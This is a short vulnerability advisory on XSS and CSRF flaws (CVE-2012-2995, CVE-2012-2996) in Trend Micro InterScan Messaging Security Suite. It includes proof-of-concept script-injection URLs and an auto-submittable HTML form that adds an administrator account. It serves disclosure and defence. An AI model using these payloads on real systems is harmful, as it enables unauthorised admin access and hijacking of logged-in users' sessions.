Description Trend Micro InterScan Messaging Security Suite is susceptible to cross-site scripting (CWE-79) and cross-site request forgery (CWE-352) vulnerabilities. Cross-site scripting (CVE-2012-2995) (CWE-79) Persistent/Stored XSS hxxps://127.0.0.1:8445/addRuleAttrWrsApproveUrl.imss?wrsApprovedURL=xssxss"><script>alert('XSS')</script> Non-persistent/Reflected XSS hxxps://127.0.0.1/initUpdSchPage.imss?src="><script>alert('XSS')</script> Cross-site request forgery (CVE-2012-2996) (CWE-352) CSRF add admin privilege account <html> <body> <form action="hxxps://127.0.0.1:8445/saveAccountSubTab.imss" method="POST"> <input type="hidden" name="enabled" value="on" /> <input type="hidden" name="authMethod" value="1" /> <input type="hidden" name="name" value="quorra" /> <input type="hidden" name="password" value="quorra.123" /> <input type="hidden" name="confirmPwd" value="quorra.123" /> <input type="hidden" name="tabAction" value="saveAuth" /> <input type="hidden" name="gotoTab" value="saveAll" /> <input type="submit" value="CSRF" /> </form> </body> </html> Impact An unauthenticated attacker may be able to execute arbitrary script in the context of a logged in user's session. Solution We are currently unaware of a practical solution to this problem. Please consider the following workarounds. Restrict access As a general good security practice, only allow connections from trusted hosts and networks. Restricting access would prevent an attacker from accessing the InterScan Messaging Security Suite using stolen credentials from a blocked network location.
